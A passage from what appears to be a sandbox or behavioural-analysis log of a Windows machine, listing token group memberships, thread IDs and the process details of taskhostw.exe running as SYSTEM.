SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 131 os_tid = 0x9fc Thread: id = 132 os_tid = 0xd78 Thread: id = 133 os_tid = 0xf4c Thread: id = 134 os_tid = 0xef0 Thread: id = 135 os_tid = 0x540 Thread: id = 136 os_tid = 0xfc0 Thread: id = 137 os_tid = 0x8ac Thread: id = 138 os_tid = 0xc34 Thread: id = 139 os_tid = 0xe88 Process: id = "6" image_name = "taskhostw.exe" filename = "c:\\windows\\system32\\taskhostw.exe" page_root = "0x6a6ed000" os_pid = "0x504" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x3c0" cmd_line = "taskhostw.exe -RegisterDevice -SettingChange -Full" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xe], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\lfsvc" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\UsoSvc" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wisvc" [0xe], "NT SERVICE\\wlidsvc" [0xe], "NT SERVICE\\WpnService" [0xe], "NT SERVICE\\wuauserv" [0xe], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009b46" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 172 os_tid = 0xfcc Thread: id = 173 os_tid = 0x714 Thread: id = 174 os_tid = 0xd58 Thread: id = 175 os_tid = 0xd14 Thread: id = 176 os_tid = 0xd70 Thread: id = 177 os_tid = 0xdec Thread: id = 178 os_tid = 0xf48